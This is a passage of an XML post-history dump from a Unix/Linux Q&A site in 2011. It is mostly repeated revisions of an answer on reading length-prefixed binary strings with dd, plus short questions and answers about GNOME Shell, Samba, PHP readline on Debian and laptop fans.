**character** is 1-byte long and indicates a **byte-length**, then this script should do the trick, even if the data contains Unicode characters... *`dd`* only sees *bytes* regardless of any locale setting... &#xD;&#xA;&#xD;&#xA;This script uses *`dd`* to read the binary file and outputs the strings seperated by a &quot;====&quot; divider...  See next script for test data  &#xD;&#xA;&#xD;&#xA;    #   &#xD;&#xA;    div=&quot;=================================&quot;; echo $div&#xD;&#xA;    ((skip=0)) # read bytes at this offset&#xD;&#xA;    while ( true ) ; do&#xD;&#xA;      # Get the &quot;length&quot; byte&#xD;&#xA;      ((count=1)) # count of bytes to read&#xD;&#xA;      dd if=binfile bs=1 skip=$skip count=$count of=datalen 2&gt;/dev/null&#xD;&#xA;      (( $(&lt;datalen wc -c) != count )) &amp;&amp; { echo &quot;INFO: End-Of-File&quot; ; break ; }&#xD;&#xA;      strlen=$((0x$(&lt;datalen xxd -ps)))  # xxd is shipped as part of the 'vim-common' package&#xD;&#xA;      #&#xD;&#xA;      # Get the string&#xD;&#xA;      ((count=strlen)) # count of bytes to read&#xD;&#xA;      ((skip+=1))      # read bytes from and including this offset&#xD;&#xA;      dd if=binfile bs=1 skip=$skip count=$count of=dataline 2&gt;/dev/null&#xD;&#xA;      ddgetct=$(&lt;dataline wc -c)&#xD;&#xA;      (( ddgetct != count )) &amp;&amp; { echo &quot;ERROR: Line data length ($ddgetct) is not as expected ($count) at offset ($skip).&quot; ; break ; }&#xD;&#xA;      echo -e &quot;\n$div&quot; &gt;&gt;dataline # add a newline for TEST PURPOSES ONLY...&#xD;&#xA;      cat dataline&#xD;&#xA;      #&#xD;&#xA;      ((skip=skip+count))  # read bytes from and including this offset&#xD;&#xA;    done&#xD;&#xA;    #   &#xD;&#xA;    echo&#xD;&#xA; &#xD;&#xA;exit&#xD;&#xA;&#xD;&#xA;This script builds test data which includes a 3-byte prefix per line...  &#xD;&#xA;The prefix is a single UTF-8 encoded Unicode character...  &#xD;&#xA;&#xD;&#xA;    # build test data&#xD;&#xA;    # ===============&#xD;&#xA;      prefix=&quot;௵&quot;   # prefix all non-zero length strings will this obvious 3-byte marker.&#xD;&#xA;      prelen=$(echo -n $prefix|wc -c)&#xD;&#xA;      printf \\0 &gt; binfile  # force 1st string to be zero-length (to check zero-length logic) &#xD;&#xA;      ( lmax=3 # line max ... the last on is set to  255-length (to check  max-length logic)&#xD;&#xA;        for ((i=1;i&lt;=$lmax;i++)) ; do    # add prefixed random length lines &#xD;&#xA;          suflen=$(numrandom /0..$((255-prelen))/)  # random length string (min of 3 bytes)&#xD;&#xA;          ((i==lmax)) &amp;&amp; ((suflen=255-prelen))      # make last line full length (255) &#xD;&#xA;          strlen=$((prelen+suflen))&#xD;&#xA;          printf \\$((($strlen/64)*100+$strlen%64/8*10+$strlen%8))&quot;$prefix&quot;&#xD;&#xA;          for ((j=0;j&lt;suflen;j++)) ; do&#xD;&#xA;            byteval=$(numrandom /9,10,32..126/)  # output only printabls ASCII characters&#xD;&#xA;            printf \\$((($byteval/64)*100+$byteval%64/8*10+$byteval%8))&#xD;&#xA;          done&#xD;&#xA;            # 'numrandom' is from package 'num-utils&quot;&#xD;&#xA;        done&#xD;&#xA;      ) &gt;&gt;binfile&#xD;&#xA;    #&#xD;&#xA;" />
  <row Id="26558" PostHistoryTypeId="2" PostId="10968" RevisionGUID="9d45d57d-78c4-44cf-9f68-5091d6b74b68" CreationDate="2011-04-09T16:02:56.283" UserId="688" Text="Why do you want to bother with a complicated set-up? One partition sized 20GB should be enough for `/` and the rest should go to `/home`. I was going to recommend ext4, but realised you are not using Linux. Why not just use whatever is available as default. Change this only if you have special needs." />
  <row Id="26559" PostHistoryTypeId="5" PostId="10966" RevisionGUID="5693bf65-38dd-4830-84f9-5d42c194cb7e" CreationDate="2011-04-09T16:07:41.677" UserId="2343" Comment="added 166 characters in body" Text="**`dd`** reads any and all  data...  It certainly won't baulk at zero as a &quot;length&quot;... but if you have \x00 anywhere in your data, you will need to be *creative* how you handle it.. but the following script does read lines of zero length...  &#xD;&#xA;&#xD;&#xA;You say &quot;character&quot;, and I *assume* you mean &quot;byte&quot;...   &#xD;&#xA;but the word &quot;character&quot; has become ambiguous in these days of UNICODE, where only the 7-bit ASCII character-set uses a single byte per character... And even within the Unicode system,  byte counts vary depending on the method of encoding *characters*, eg. UTF-8, UTF-16, etc.    &#xD;&#xA;&#xD;&#xA;Here is a simple script to highlight the difference between a Text &quot;character&quot; and bytes.     &#xD;&#xA;&#xD;&#xA;    STRING=&quot;௵&quot;  &#xD;&#xA;    echo &quot;CHAR count is: ${#STRING}&quot;  &#xD;&#xA;    echo &quot;BYTE count is: $(echo -n $STRING|wc -c)&quot; &#xD;&#xA;    # CHAR count is: 1&#xD;&#xA;    # BYTE count is: 3  # UTF-8 ecnoded (on my system)&#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;   &#xD;&#xA;If your length **character** is 1-byte long and indicates a **byte-length**, then this script should do the trick, even if the data contains Unicode characters... *`dd`* only sees *bytes* regardless of any locale setting... &#xD;&#xA;&#xD;&#xA;This script uses *`dd`* to read the binary file and outputs the strings seperated by a &quot;====&quot; divider...  See next script for test data  &#xD;&#xA;&#xD;&#xA;    #   &#xD;&#xA;    div=&quot;=================================&quot;; echo $div&#xD;&#xA;    ((skip=0)) # read bytes at this offset&#xD;&#xA;    while ( true ) ; do&#xD;&#xA;      # Get the &quot;length&quot; byte&#xD;&#xA;      ((count=1)) # count of bytes to read&#xD;&#xA;      dd if=binfile bs=1 skip=$skip count=$count of=datalen 2&gt;/dev/null&#xD;&#xA;      (( $(&lt;datalen wc -c) != count )) &amp;&amp; { echo &quot;INFO: End-Of-File&quot; ; break ; }&#xD;&#xA;      strlen=$((0x$(&lt;datalen xxd -ps)))  # xxd is shipped as part of the 'vim-common' package&#xD;&#xA;      #&#xD;&#xA;      # Get the string&#xD;&#xA;      ((count=strlen)) # count of bytes to read&#xD;&#xA;      ((skip+=1))      # read bytes from and including this offset&#xD;&#xA;      dd if=binfile bs=1 skip=$skip count=$count of=dataline 2&gt;/dev/null&#xD;&#xA;      ddgetct=$(&lt;dataline wc -c)&#xD;&#xA;      (( ddgetct != count )) &amp;&amp; { echo &quot;ERROR: Line data length ($ddgetct) is not as expected ($count) at offset ($skip).&quot; ; break ; }&#xD;&#xA;      echo -e &quot;\n$div&quot; &gt;&gt;dataline # add a newline for TEST PURPOSES ONLY...&#xD;&#xA;      cat dataline&#xD;&#xA;      #&#xD;&#xA;      ((skip=skip+count))  # read bytes from and including this offset&#xD;&#xA;    done&#xD;&#xA;    #   &#xD;&#xA;    echo&#xD;&#xA; &#xD;&#xA;exit&#xD;&#xA;&#xD;&#xA;This script builds test data which includes a 3-byte prefix per line...  &#xD;&#xA;The prefix is a single UTF-8 encoded Unicode character...  &#xD;&#xA;&#xD;&#xA;    # build test data&#xD;&#xA;    # ===============&#xD;&#xA;      prefix=&quot;௵&quot;   # prefix all non-zero length strings will this obvious 3-byte marker.&#xD;&#xA;      prelen=$(echo -n $prefix|wc -c)&#xD;&#xA;      printf \\0 &gt; binfile  # force 1st string to be zero-length (to check zero-length logic) &#xD;&#xA;      ( lmax=3 # line max ... the last on is set to  255-length (to check  max-length logic)&#xD;&#xA;        for ((i=1;i&lt;=$lmax;i++)) ; do    # add prefixed random length lines &#xD;&#xA;          suflen=$(numrandom /0..$((255-prelen))/)  # random length string (min of 3 bytes)&#xD;&#xA;          ((i==lmax)) &amp;&amp; ((suflen=255-prelen))      # make last line full length (255) &#xD;&#xA;          strlen=$((prelen+suflen))&#xD;&#xA;          printf \\$((($strlen/64)*100+$strlen%64/8*10+$strlen%8))&quot;$prefix&quot;&#xD;&#xA;          for ((j=0;j&lt;suflen;j++)) ; do&#xD;&#xA;            byteval=$(numrandom /9,10,32..126/)  # output only printabls ASCII characters&#xD;&#xA;            printf \\$((($byteval/64)*100+$byteval%64/8*10+$byteval%8))&#xD;&#xA;          done&#xD;&#xA;            # 'numrandom' is from package 'num-utils&quot;&#xD;&#xA;        done&#xD;&#xA;      ) &gt;&gt;binfile&#xD;&#xA;    #&#xD;&#xA;" />
  <row Id="26560" PostHistoryTypeId="5" PostId="10966" RevisionGUID="79a22c48-8875-4e47-b461-f23c133da208" CreationDate="2011-04-09T16:14:39.007" UserId="2343" Comment="added 179 characters in body" Text="**`dd`** reads any and all  data...  It certainly won't baulk at zero as a &quot;length&quot;... but if you have \x00 anywhere in your data, you will need to be *creative* how you handle it; `dd` has no propblems with it, but your shell script will have problems (but it depends on what you want to do with the data)... The following basically outputs each &quot;data string&quot;, to a file with a line divider between each strin...   &#xD;&#xA;&#xD;&#xA;btw: You say &quot;character&quot;, and I *assume* you mean &quot;byte&quot;...   &#xD;&#xA;but the word &quot;character&quot; has become ambiguous in these days of UNICODE, where only the 7-bit ASCII character-set uses a single byte per character... And even within the Unicode system,  byte counts vary depending on the method of encoding *characters*, eg. UTF-8, UTF-16, etc.    &#xD;&#xA;&#xD;&#xA;Here is a simple script to highlight the difference between a Text &quot;character&quot; and bytes.     &#xD;&#xA;&#xD;&#xA;    STRING=&quot;௵&quot;  &#xD;&#xA;    echo &quot;CHAR count is: ${#STRING}&quot;  &#xD;&#xA;    echo &quot;BYTE count is: $(echo -n $STRING|wc -c)&quot; &#xD;&#xA;    # CHAR count is: 1&#xD;&#xA;    # BYTE count is: 3  # UTF-8 ecnoded (on my system)&#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;   &#xD;&#xA;If your length **character** is 1-byte long and indicates a **byte-length**, then this script should do the trick, even if the data contains Unicode characters... *`dd`* only sees *bytes* regardless of any locale setting... &#xD;&#xA;&#xD;&#xA;This script uses *`dd`* to read the binary file and outputs the strings seperated by a &quot;====&quot; divider...  See next script for test data  &#xD;&#xA;&#xD;&#xA;    #   &#xD;&#xA;    div=&quot;=================================&quot;; echo $div&#xD;&#xA;    ((skip=0)) # read bytes at this offset&#xD;&#xA;    while ( true ) ; do&#xD;&#xA;      # Get the &quot;length&quot; byte&#xD;&#xA;      ((count=1)) # count of bytes to read&#xD;&#xA;      dd if=binfile bs=1 skip=$skip count=$count of=datalen 2&gt;/dev/null&#xD;&#xA;      (( $(&lt;datalen wc -c) != count )) &amp;&amp; { echo &quot;INFO: End-Of-File&quot; ; break ; }&#xD;&#xA;      strlen=$((0x$(&lt;datalen xxd -ps)))  # xxd is shipped as part of the 'vim-common' package&#xD;&#xA;      #&#xD;&#xA;      # Get the string&#xD;&#xA;      ((count=strlen)) # count of bytes to read&#xD;&#xA;      ((skip+=1))      # read bytes from and including this offset&#xD;&#xA;      dd if=binfile bs=1 skip=$skip count=$count of=dataline 2&gt;/dev/null&#xD;&#xA;      ddgetct=$(&lt;dataline wc -c)&#xD;&#xA;      (( ddgetct != count )) &amp;&amp; { echo &quot;ERROR: Line data length ($ddgetct) is not as expected ($count) at offset ($skip).&quot; ; break ; }&#xD;&#xA;      echo -e &quot;\n$div&quot; &gt;&gt;dataline # add a newline for TEST PURPOSES ONLY...&#xD;&#xA;      cat dataline&#xD;&#xA;      #&#xD;&#xA;      ((skip=skip+count))  # read bytes from and including this offset&#xD;&#xA;    done&#xD;&#xA;    #   &#xD;&#xA;    echo&#xD;&#xA; &#xD;&#xA;exit&#xD;&#xA;&#xD;&#xA;This script builds test data which includes a 3-byte prefix per line...  &#xD;&#xA;The prefix is a single UTF-8 encoded Unicode character...  &#xD;&#xA;&#xD;&#xA;    # build test data&#xD;&#xA;    # ===============&#xD;&#xA;      prefix=&quot;௵&quot;   # prefix all non-zero length strings will this obvious 3-byte marker.&#xD;&#xA;      prelen=$(echo -n $prefix|wc -c)&#xD;&#xA;      printf \\0 &gt; binfile  # force 1st string to be zero-length (to check zero-length logic) &#xD;&#xA;      ( lmax=3 # line max ... the last on is set to  255-length (to check  max-length logic)&#xD;&#xA;        for ((i=1;i&lt;=$lmax;i++)) ; do    # add prefixed random length lines &#xD;&#xA;          suflen=$(numrandom /0..$((255-prelen))/)  # random length string (min of 3 bytes)&#xD;&#xA;          ((i==lmax)) &amp;&amp; ((suflen=255-prelen))      # make last line full length (255) &#xD;&#xA;          strlen=$((prelen+suflen))&#xD;&#xA;          printf \\$((($strlen/64)*100+$strlen%64/8*10+$strlen%8))&quot;$prefix&quot;&#xD;&#xA;          for ((j=0;j&lt;suflen;j++)) ; do&#xD;&#xA;            byteval=$(numrandom /9,10,32..126/)  # output only printabls ASCII characters&#xD;&#xA;            printf \\$((($byteval/64)*100+$byteval%64/8*10+$byteval%8))&#xD;&#xA;          done&#xD;&#xA;            # 'numrandom' is from package 'num-utils&quot;&#xD;&#xA;        done&#xD;&#xA;      ) &gt;&gt;binfile&#xD;&#xA;    #&#xD;&#xA;" />
  <row Id="26561" PostHistoryTypeId="2" PostId="10969" RevisionGUID="5d9937e9-60e8-41de-b413-b3f06146476d" CreationDate="2011-04-09T17:01:50.313" UserId="131" Text="When I have no apps running, or I'm in the activities screen in GNOME shell, the activities bar is maybe 20px high. When I am running an application, this expands to 70px, possibly to fit the 64x64 application icon it uses for the application. Can I make this bar smaller the whole time?" />
  <row Id="26562" PostHistoryTypeId="1" PostId="10969" RevisionGUID="5d9937e9-60e8-41de-b413-b3f06146476d" CreationDate="2011-04-09T17:01:50.313" UserId="131" Text="How can I make the GNOME Shell Activities Bar small all the time?" />
  <row Id="26563" PostHistoryTypeId="3" PostId="10969" RevisionGUID="5d9937e9-60e8-41de-b413-b3f06146476d" CreationDate="2011-04-09T17:01:50.313" UserId="131" Text="égnomeà" />
  <row Id="26564" PostHistoryTypeId="2" PostId="10970" RevisionGUID="d10abc6a-cdd6-4fef-8473-24d8cadc977c" CreationDate="2011-04-09T17:06:04.077" UserId="4671" Text="One growth area for Linux use is scientific research, particularly biology related work, like biomedical research and bioinformatics. This is a rather specialist and possibly marginal area, but something I know a little about. This does typically involve some knowledge of the domain area, typically a mix of biology, computer science and statistics, so it is not just a programming job. At least, the good ones aren't. Also, to get such a job you'll typically need at least a Bachelor's degree in a relevant domain area. However, the question said:&#xD;&#xA;&#xD;&#xA;&gt; What kind of job opportunities are out there for people that have extensive experience with *NIX?&#xD;&#xA;&#xD;&#xA;it didn't say they didn't have extensive experience with anything else.&#xD;&#xA;&#xD;&#xA;Research in these areas often involve heavy doses of programming coupled with management of large data sets, often involving heavy duty hardware, parallelization and clusters. For some reason, these kinds of jobs greatly favor unix like systems, which these days typically means Linux, and (to a much lesser extent) the *BSDs. I don't know exactly why, but I speculate there are two different reasons&#xD;&#xA;&#xD;&#xA; 1. Linux is associated with free software, which is free as in beer. Academics don't care a lot about free software, but they do care about doing things on the cheap. The money for such project is usually soft money from grants and contracts, and there is much discretion on how to spend it. The people running things prefer to put the money in their pockets (and those of their friends) rather than handing it off to some corporation.&#xD;&#xA;&#xD;&#xA; 2. Linux is perceived to handle heavy number crunching and demanding computational jobs, including cluster work, better than other operating systems do. I don't know if that is actually the case these days, but such is the perception, I think.&#xD;&#xA;&#xD;&#xA;The upside is that you might end up doing some work that is actually interesting, if you are lucky. If you are interested in science, this can be a big plus. The downside is that such jobs are not paid well and are commonly temporary contract positions. Also, they can be extremely hard work.&#xD;&#xA;" />
  <row Id="26565" PostHistoryTypeId="5" PostId="10970" RevisionGUID="737a0aa4-07ed-4658-9860-42d85849f758" CreationDate="2011-04-09T17:14:33.337" UserId="4671" Comment="added 539 characters in body" Text="One growth area for Linux use is scientific research, particularly biology related work, like biomedical research and bioinformatics. This is a rather specialist and possibly marginal area, but something I know a little about. This does typically involve some knowledge of the domain area, typically a mix of biology, computer science and statistics, so it is not just a programming job. At least, the good ones aren't. Also, to get such a job you'll typically need at least a Bachelor's degree in a relevant domain area. However, the question said:&#xD;&#xA;&#xD;&#xA;&gt; What kind of job opportunities are out there for people that have extensive experience with *NIX?&#xD;&#xA;&#xD;&#xA;it didn't say they didn't have extensive experience with anything else.&#xD;&#xA;&#xD;&#xA;Research in these areas often involve heavy doses of programming coupled with management of large data sets, often involving heavy duty hardware, parallelization and clusters. For some reason, these kinds of jobs greatly favor unix like systems, which these days typically means Linux, and (to a much lesser extent) the *BSDs. I don't know exactly why, but I speculate there are two different reasons&#xD;&#xA;&#xD;&#xA; 1. Linux is associated with free software, which is free as in beer. Academics don't care a lot about free software, but they do care about doing things on the cheap. The money for such project is usually soft money from grants and contracts, and there is much discretion on how to spend it. The people running things prefer to put the money in their pockets (and those of their friends) rather than handing it off to some corporation.&#xD;&#xA;&#xD;&#xA; 2. Linux is perceived to handle heavy number crunching and demanding computational jobs, including cluster work, better than other operating systems do. I don't know if that is actually the case these days, but such is the perception, I think.&#xD;&#xA;&#xD;&#xA;The upside is that you might end up doing some work that is actually interesting, if you are lucky. If you are interested in science, this can be a big plus. The downside is that such jobs are not paid well and are commonly temporary contract positions. Also, they can be extremely hard work.&#xD;&#xA;&#xD;&#xA;It is also worth noting that typically academics really, really suck at software work. &#xD;&#xA;This can cause problems with the research. See [this interesting opinion piece in Nature](http://www.nature.com/news/2010/101013/full/467775a.html). What impact this will have on a hacker who tries to work within the scientific establishment is not clear to me; there are so few there. However, based on my experience, you may find yourself surrounded by people who don't care at all about software quality. Of course, that is possible anywhere. &#xD;&#xA;" />
  <row Id="26566" PostHistoryTypeId="2" PostId="10971" RevisionGUID="c24ffdb2-7203-4b95-8ec4-6e2431dc6056" CreationDate="2011-04-09T17:24:42.220" UserId="6215" Text="Hello,&#xD;&#xA;&#xD;&#xA;can you help me with finding all the hardware information (parameters) and configuration files about the fan in my laptop?&lt;br&gt;&#xD;&#xA;I'm interested in commands that will find that information and configuration files.&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="26567" PostHistoryTypeId="1" PostId="10971" RevisionGUID="c24ffdb2-7203-4b95-8ec4-6e2431dc6056" CreationDate="2011-04-09T17:24:42.220" UserId="6215" Text="Information about fan" />
  <row Id="26568" PostHistoryTypeId="3" PostId="10971" RevisionGUID="c24ffdb2-7203-4b95-8ec4-6e2431dc6056" CreationDate="2011-04-09T17:24:42.220" UserId="6215" Text="éfanà" />
  <row Id="26569" PostHistoryTypeId="5" PostId="10966" RevisionGUID="290cd4a8-e0c6-4ba5-8e36-e56f3dcff2f8" CreationDate="2011-04-09T17:30:13.337" UserId="2343" Comment="added 408 characters in body" Text="UPDATE (with hindsight):... This question/answer (my answer) makes me think of the dog which keeps chasing the car.. One day, finally, he catches up to the car.. Okay, he caught it, but he really can't do much with it...  This anser 'catches' the strings, but then you can't do much with them, if they have embedded null-bytes... (so a big +1 to Gilles answer.. another language may be in order here.)   &#xD;&#xA;&#xD;&#xA;**`dd`** reads any and all  data...  It certainly won't baulk at zero as a &quot;length&quot;... but if you have \x00 anywhere in your data, you will need to be *creative* how you handle it; `dd` has no propblems with it, but your shell script will have problems (but it depends on what you want to do with the data)... The following basically outputs each &quot;data string&quot;, to a file with a line divider between each strin...   &#xD;&#xA;&#xD;&#xA;btw: You say &quot;character&quot;, and I *assume* you mean &quot;byte&quot;...   &#xD;&#xA;but the word &quot;character&quot; has become ambiguous in these days of UNICODE, where only the 7-bit ASCII character-set uses a single byte per character... And even within the Unicode system,  byte counts vary depending on the method of encoding *characters*, eg. UTF-8, UTF-16, etc.    &#xD;&#xA;&#xD;&#xA;Here is a simple script to highlight the difference between a Text &quot;character&quot; and bytes.     &#xD;&#xA;&#xD;&#xA;    STRING=&quot;௵&quot;  &#xD;&#xA;    echo &quot;CHAR count is: ${#STRING}&quot;  &#xD;&#xA;    echo &quot;BYTE count is: $(echo -n $STRING|wc -c)&quot; &#xD;&#xA;    # CHAR count is: 1&#xD;&#xA;    # BYTE count is: 3  # UTF-8 ecnoded (on my system)&#xD;&#xA;&#xD;&#xA;--- &#xD;&#xA;   &#xD;&#xA;If your length **character** is 1-byte long and indicates a **byte-length**, then this script should do the trick, even if the data contains Unicode characters... *`dd`* only sees *bytes* regardless of any locale setting... &#xD;&#xA;&#xD;&#xA;This script uses *`dd`* to read the binary file and outputs the strings seperated by a &quot;====&quot; divider...  See next script for test data  &#xD;&#xA;&#xD;&#xA;    #   &#xD;&#xA;    div=&quot;=================================&quot;; echo $div&#xD;&#xA;    ((skip=0)) # read bytes at this offset&#xD;&#xA;    while ( true ) ; do&#xD;&#xA;      # Get the &quot;length&quot; byte&#xD;&#xA;      ((count=1)) # count of bytes to read&#xD;&#xA;      dd if=binfile bs=1 skip=$skip count=$count of=datalen 2&gt;/dev/null&#xD;&#xA;      (( $(&lt;datalen wc -c) != count )) &amp;&amp; { echo &quot;INFO: End-Of-File&quot; ; break ; }&#xD;&#xA;      strlen=$((0x$(&lt;datalen xxd -ps)))  # xxd is shipped as part of the 'vim-common' package&#xD;&#xA;      #&#xD;&#xA;      # Get the string&#xD;&#xA;      ((count=strlen)) # count of bytes to read&#xD;&#xA;      ((skip+=1))      # read bytes from and including this offset&#xD;&#xA;      dd if=binfile bs=1 skip=$skip count=$count of=dataline 2&gt;/dev/null&#xD;&#xA;      ddgetct=$(&lt;dataline wc -c)&#xD;&#xA;      (( ddgetct != count )) &amp;&amp; { echo &quot;ERROR: Line data length ($ddgetct) is not as expected ($count) at offset ($skip).&quot; ; break ; }&#xD;&#xA;      echo -e &quot;\n$div&quot; &gt;&gt;dataline # add a newline for TEST PURPOSES ONLY...&#xD;&#xA;      cat dataline&#xD;&#xA;      #&#xD;&#xA;      ((skip=skip+count))  # read bytes from and including this offset&#xD;&#xA;    done&#xD;&#xA;    #   &#xD;&#xA;    echo&#xD;&#xA; &#xD;&#xA;exit&#xD;&#xA;&#xD;&#xA;This script builds test data which includes a 3-byte prefix per line...  &#xD;&#xA;The prefix is a single UTF-8 encoded Unicode character...  &#xD;&#xA;&#xD;&#xA;    # build test data&#xD;&#xA;    # ===============&#xD;&#xA;      prefix=&quot;௵&quot;   # prefix all non-zero length strings will this obvious 3-byte marker.&#xD;&#xA;      prelen=$(echo -n $prefix|wc -c)&#xD;&#xA;      printf \\0 &gt; binfile  # force 1st string to be zero-length (to check zero-length logic) &#xD;&#xA;      ( lmax=3 # line max ... the last on is set to  255-length (to check  max-length logic)&#xD;&#xA;        for ((i=1;i&lt;=$lmax;i++)) ; do    # add prefixed random length lines &#xD;&#xA;          suflen=$(numrandom /0..$((255-prelen))/)  # random length string (min of 3 bytes)&#xD;&#xA;          ((i==lmax)) &amp;&amp; ((suflen=255-prelen))      # make last line full length (255) &#xD;&#xA;          strlen=$((prelen+suflen))&#xD;&#xA;          printf \\$((($strlen/64)*100+$strlen%64/8*10+$strlen%8))&quot;$prefix&quot;&#xD;&#xA;          for ((j=0;j&lt;suflen;j++)) ; do&#xD;&#xA;            byteval=$(numrandom /9,10,32..126/)  # output only printabls ASCII characters&#xD;&#xA;            printf \\$((($byteval/64)*100+$byteval%64/8*10+$byteval%8))&#xD;&#xA;          done&#xD;&#xA;            # 'numrandom' is from package 'num-utils&quot;&#xD;&#xA;        done&#xD;&#xA;      ) &gt;&gt;binfile&#xD;&#xA;    #&#xD;&#xA;" />
  <row Id="26570" PostHistoryTypeId="2" PostId="10972" RevisionGUID="379b1945-5ed5-492f-8336-9b2e9be9a878" CreationDate="2011-04-09T17:32:16.500" UserId="6215" Text="    $ sudo lpoptions -d HP_Deskjet_F4200_series&#xD;&#xA;This command solved it.&#xD;&#xA;" />
  <row Id="26571" PostHistoryTypeId="2" PostId="10973" RevisionGUID="34cb80fa-d48d-426c-898e-9070797efd2d" CreationDate="2011-04-09T17:35:51.633" UserId="4335" Text="Is there an equivalent of APTonCD for Fedora? I tried googling and found [YUMonCD][1] but wanted to know if there exists some package in the repos. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://bitbucket.org/a_atalla/yumoncd/downloads/" />
  <row Id="26572" PostHistoryTypeId="1" PostId="10973" RevisionGUID="34cb80fa-d48d-426c-898e-9070797efd2d" CreationDate="2011-04-09T17:35:51.633" UserId="4335" Text="APTonCD equivalent for Fedora" />
  <row Id="26573" PostHistoryTypeId="3" PostId="10973" RevisionGUID="34cb80fa-d48d-426c-898e-9070797efd2d" CreationDate="2011-04-09T17:35:51.633" UserId="4335" Text="éfedoraàéyumàéaptoncdà" />
  <row Id="26574" PostHistoryTypeId="5" PostId="10971" RevisionGUID="d2b4b936-b58e-4d79-8ba0-5644454bad72" CreationDate="2011-04-09T17:36:10.540" UserId="688" Comment="deleted 28 characters in body; edited tags; edited title" Text="Can you help me with finding all the hardware information (parameters) and configuration files about the fan in my laptop? I'm interested in commands that will find that information and configuration files." />
  <row Id="26575" PostHistoryTypeId="4" PostId="10971" RevisionGUID="d2b4b936-b58e-4d79-8ba0-5644454bad72" CreationDate="2011-04-09T17:36:10.540" UserId="688" Comment="deleted 28 characters in body; edited tags; edited title" Text="Information about a laptop fan" />
  <row Id="26576" PostHistoryTypeId="6" PostId="10971" RevisionGUID="d2b4b936-b58e-4d79-8ba0-5644454bad72" CreationDate="2011-04-09T17:36:10.540" UserId="688" Comment="deleted 28 characters in body; edited tags; edited title" Text="élinuxàéfanà" />
  <row Id="26577" PostHistoryTypeId="25" PostId="10969" RevisionGUID="571aaf4f-c921-48b4-abf9-003daefbba3c" CreationDate="2011-04-09T18:09:05.657" Comment="http://twitter.com/#!/StackUnix/status/56780687419785216" />
  <row Id="26578" PostHistoryTypeId="6" PostId="10973" RevisionGUID="334ebf60-eb96-42d9-9516-8cf99c34f704" CreationDate="2011-04-09T19:17:27.070" UserId="885" Comment="edited tags" Text="éfedoraàépackageömanagementàéyumàécdà" />
  <row Id="26579" PostHistoryTypeId="2" PostId="10974" RevisionGUID="b97d8928-e796-45c5-af35-4a7dff9ec08a" CreationDate="2011-04-09T19:17:54.963" UserId="6432" Text="You're experiencing Bug#612503 for Samba. Currently the recommended fix is to add&quot; directory name cache size = 0&quot; under the global section in smb.conf Check out [This][1] for more info&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://us.generation-nt.com/answer/bug-612503-samba-samba-duplicates-files-directory-listing-windows-help-202057532.html" />
  <row Id="26580" PostHistoryTypeId="5" PostId="10974" RevisionGUID="0f21c359-e428-4be5-853f-66147e7c6144" CreationDate="2011-04-09T19:26:07.620" UserId="885" Comment="link to the original bug reports rather than a content scraper" Text="You're experiencing [Samba bug 4715](https://bugzilla.samba.org/show_bug.cgi?id=4715), reported as [Debian bug #612503](http://bugs.debian.org/612503). Currently the recommended fix is to add `directory name cache size = 0` under the global section in `smb.conf`." />
  <row Id="26586" PostHistoryTypeId="2" PostId="10976" RevisionGUID="5c0d73c2-3d4e-4677-a3d3-dfc8cafd36c0" CreationDate="2011-04-09T20:44:41.173" UserId="224" Text="When I install php5-cli on Debian Wheezy (currently testing), the interactive prompt is very unusable due to missing readline support (bug [341868][1]).  What's the easiest way to install a version linked against libreadline (for usable line editing)?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=341868" />
  <row Id="26587" PostHistoryTypeId="1" PostId="10976" RevisionGUID="5c0d73c2-3d4e-4677-a3d3-dfc8cafd36c0" CreationDate="2011-04-09T20:44:41.173" UserId="224" Text="How do I install a PHP CLI with a usable interactive prompt on Debian Wheezy?" />
  <row Id="26588" PostHistoryTypeId="3" PostId="10976" RevisionGUID="5c0d73c2-3d4e-4677-a3d3-dfc8cafd36c0" CreationDate="2011-04-09T20:44:41.173" UserId="224" Text="édebianàéphpàétestingà" />
  <row Id="26589" PostHistoryTypeId="2" PostId="10977" RevisionGUID="15d1fe6c-b3ff-49c3-888a-0ab90329a0b2" CreationDate="2011-04-09T20:46:35.883" UserId="224" Text="Use the [Dotdeb][1] Debian stable packages.  Although the documentation does not note this, the stable packages currently work fine with Wheezy/testing.  After following the instructions, do:&#xD;&#xA;&#xD;&#xA;    apt-get install php5-cli&#xD;&#xA;&#xD;&#xA;as root.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.dotdeb.org/instructions/" />
  <row Id="26590" PostHistoryTypeId="2" PostId="10978" RevisionGUID="e212b680-ce7c-4cad-a349-faf86c5d1280" CreationDate="2011-04-09T20:56:48.787" UserId="885" Text="Install [`rlwrap`](http://packages.debian.org/wheezy/rlwrap) and run `rlwrap php5`. Rlwrap is a generic readline wrapper, it provides command line edition and history for any read-eval-print loop. Since it's a generic wrapper, you won't get any PHP-specific completion.&#xD;&#xA;&#xD;&#xA;Alternatively, get the source package and rebuild it with readline support. Readline support was only left out due to [licensing issues](http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=286356#15), but these issues only forbid distributing PHP5 linked with readline, they don't forbid you from using it.&#xD;&#xA;&#xD;&#xA;    apt-get source php5-cli&#xD;&#xA;    apt-get install build-essential fakeroot&#xD;&#xA;    apt-get build-dep php5-cli&#xD;&#xA;    cd php5-*/&#xD;&#xA;    # Edit debian/rules to configure with readline support&#xD;&#xA;    # Add an entry to debian/changelog to remember what you did&#xD;&#xA;    dpkg-buildpackage -rfakeroot -us -uc -b -nc&#xD;&#xA;" />
  <row Id="26591" PostHistoryTypeId="2" PostId="10979" RevisionGUID="7638844d-25f0-45d7-8c59-242015df8ad8" CreationDate="2011-04-09T21:05:03.037" UserId="305" Text="I have sometimes problem when during entering password for su other window appears and steals the focus (&quot;wait - did I just entered root password on public IRC chatroom?&quot; - it did not happened but might).&#xD;&#xA;&#xD;&#xA;Is it possible to configure su/sudo/PAM to use system dialog instead of terminal? I'm using gnome3/gnome-shell if it helps." />
  <row Id="26592" PostHistoryTypeId="1" PostId="10979" RevisionGUID="7638844d-25f0-45d7-8c59-242015df8ad8" CreationDate="2011-04-09T21:05:03.037" UserId="305" Text="Is it possible to set su to use WE password dialog" />
